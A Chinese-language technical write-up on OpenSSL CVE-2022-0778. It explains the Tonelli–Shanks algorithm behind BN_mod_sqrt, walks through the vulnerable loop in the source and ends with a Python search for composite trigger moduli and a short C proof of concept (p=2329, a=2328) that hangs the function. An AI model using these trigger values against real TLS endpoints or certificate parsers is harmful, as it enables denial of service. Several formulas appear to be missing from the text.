漏洞介绍

3月15日，OpenSSL官方发布安全公告，修复了OpenSSL 版本 1.0.2、1.1.1 和 3.0中的拒绝服务漏洞（CVE-2022-0778）

由于证书解析时使用的 BN_mod_sqrt() 函数存在一个错误，它会导致在非质数的情况下永远循环。可通过生成包含无效的显式曲线参数的证书来触发无限循环。由于证书解析是在验证证书签名之前进行的，因此任何解析外部提供的证书的程序都可能受到拒绝服务攻击。此外，当解析特制的私钥时(包含显式椭圆曲线参数)，也可以触发无限循环。

因此易受攻击的情况如下：

使用服务器证书的 TLS 客户端

使用客户端证书的 TLS 服务器

托管服务提供商从客户处获取证书或私钥

证书颁发机构解析来自订阅者的认证请求

任何其他解析ASN.1椭圆曲线参数的程序

此外，任何使用BN_mod_sqrt()的其他应用程序，如果可以控制参数值，也会受到此漏洞影响。需要注意的是，任何需要证书中公钥的操作都会触发无限循环，特别是自签名的证书，在验证证书签名时会触发循环。

具体利用实现可参考

OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造 | CatBro's Blog (catbro666.github.io)

Tonelli/Shanks

BN_mod_sqrt这个函数的最终目的是返回ret（之后情况都将p是质数考虑）

这个ret满足

首先先对p进行处理，转化为2的次方乘上一个奇数+1的形式，如下

此时的e>=1

在具体了解算法前，需要一些前置知识

对于二次是否有解问题，可以用一些式子简单判断（费马小定理）

阶的概念

使得 (b,p) = 1成立的最小正整数 a为 b模p的阶(指数)
大部分的阶都是p-1，根据费马定理，少部分有如下情况，

此时4在7上的阶为3，此时的阶一定是p-1的因子

对e进行分类求取

e=1

那么此时

考虑此时p%4时的值，此时p = 2*q+1,q为奇数，那么p+1 = 2*q+2 = 2*(q+1) 一定是4的倍数

那么根据一定有解这个概念，可以直接判断此时的ret为 a^((p+1)/4)

证明

(ps:BN_mod_sqrt中对e=2进行另一种方法计算，不过和本算法无关，不予讨论)

e>1

先得到这个式子

此时选择一个数z使它为p的二次非剩余，也就是满足以下式子

再计算出初始值

如果此时t满足 t mod p == 1 结束循环 返回r

否则开始循环

循环一个i值 （小于e）

此时继续判断是否满足外层循环，满足则返回r，否则继续，直到报错（i == e）

证明

以退出的条件为例，会保证以下式子一直成立

如果t mod p !=1

考虑非二次剩余z。

则有

类似情况

和之前一样

现在

思想到这还是比较明朗，当还有一个问题，为什么可以将t的阶一直缩小直到0

接下来就是不断缩小范围直到0，就可以将答案解出来，如果一定有解，则一定能返回值，如果不存在解，则会存在e == i,报错。

源码分析

大概思想了解了，接下来可以结合实际代码进行分析

这里顺序算出来是，这样计算出来的话是 a^((p//4)+1) 和 a^((p+1)//4)是相等的

直接看最后的俩个循环，这里符号有些不相同，并且代码写法上和直接理解算法还有很大的不同，这里主要参考源码的注释，进行辅助理解

/*x = a^((q+1)/2))*/
while (1) {
        /*-
         * Now  b  is  a^q * y^k  for some even  k  (0 <= k < 2^E
         * where  E  refers to the original value of  e,  which we
         * don't keep in a variable),  and  x  is  a^((q+1)/2) * y^(k/2).
         *
         * We have  a*b = x^2,
         *    y^2^(e-1) = -1,   //
         *    b^2^(e-1) = 1.
         */
        #这里的y = z^q    , b = a^q
        if (BN_is_one(b)) {  //这里是正常退出的条件
            if (!BN_copy(ret, x))
                goto end;
            err = 0;
            goto vrfy;
        }

        /* find smallest  i  such that  b^(2^i) = 1 */
        i = 1;
        if (!BN_mod_sqr(t, b, p, ctx)) // t = (b*b)%p   对应之前演示的t^2^i 
            goto end;
        while (!BN_is_one(t)) {
            i++;
            if (i == e) {
                ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
                goto end;
            }
            if (!BN_mod_mul(t, t, t, p, ctx))   //t^2^i
                goto end;
        }

        /* t := y^2^(e - i - 1) */    //相当于上文的c^2^(m-i-1)
        if (!BN_copy(t, y))
            goto end;
        for (j = e - i - 1; j > 0; j--) {
            if (!BN_mod_sqr(t, t, p, ctx))
                goto end;
        }
        if (!BN_mod_mul(y, t, t, p, ctx))
            goto end;
        if (!BN_mod_mul(x, x, t, p, ctx)) //x相当于上文的ret
            goto end;
        if (!BN_mod_mul(b, b, y, p, ctx)) 
            goto end;
        e = i;
    }

理解这段代码需要仔细查询函数的具体含义，之前看BN_mod_sqr还以为是和BN_mod_sqrt的功能类似，造成了很多误解，前者是求平方，后者是求平方根

现在就可以看如何进行漏洞的触发

 i = 1;
 if (!BN_mod_sqr(t, b, p, ctx))
            goto end;
 while (!BN_is_one(t)) {……}

要满足t*t mod p == 1 ==> (a^q)^2 mod p == 1

此时就不会进入while循环，i=1

之后e赋值1

计算a和p

总的来进行满足漏洞触发的条件

1.e>2

2.对于(a^q)^2 mod p == 1

可以考虑一种比较特殊的情况，就是当a = p-1,此时会有a^2 mod p == 1, ==> 1^q mod p==1 ，之后计算的a都是p-1

3.不能正常退出

此时就是 b*y!=1 == > a^q*z^q !=1 ==> a*z^q !=1,不过一般都不能满足

4.要保证循环一直在进行

也就是（a*z^q）^2^i == 1永远不成立，直到i=e时，这里就要求了p是一个合数,质数性质决定了迟早会相等。

一个比较一般情况还要判断a是否是一个二次剩余，不过在源码中并没有这方面的检测，后续就不进行这方面的过滤

for x in range(2,3000):
    if (x-1)%8 == 0 and (x-1)%16 !=0:  #这里只取了e=3的数
        z = 0
        for i in range(2,x):
            if pow(i,(x-1)//2,x) == x-1:
                z = i   #计算非二次剩余
                break
        t = (x-1)*z**3
        t = pow(t,pow(2,3),x)
        if t == 1:
            print(x)
out:
41
313
409
697
1241
1513
2329
从697开始符合条件，前面是素数，不符合条件

测试

#include <openssl/bn.h>

int main() {
    BN_CTX *ctx;
    ctx = BN_CTX_new();
    BIGNUM *res, *a, *p;
    BN_CTX_start(ctx);
    res = BN_CTX_get(ctx);
    a = BN_CTX_get(ctx);
    p = BN_CTX_get(ctx);

    BN_dec2bn(&p, "2329");
    BN_dec2bn(&a, "2328");

    printf("p = %s\n", BN_bn2dec(p));
    printf("a = %s\n", BN_bn2dec(a));

    BIGNUM* check = BN_mod_sqrt(res, a, p, ctx);
    printf("%s\n", BN_bn2dec(res));

    return 0;
}
gcc -0 xxx.c t -lcrypto

陷入死循环，触发漏洞

参考：
OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造 | CatBro's Blog (catbro666.github.io)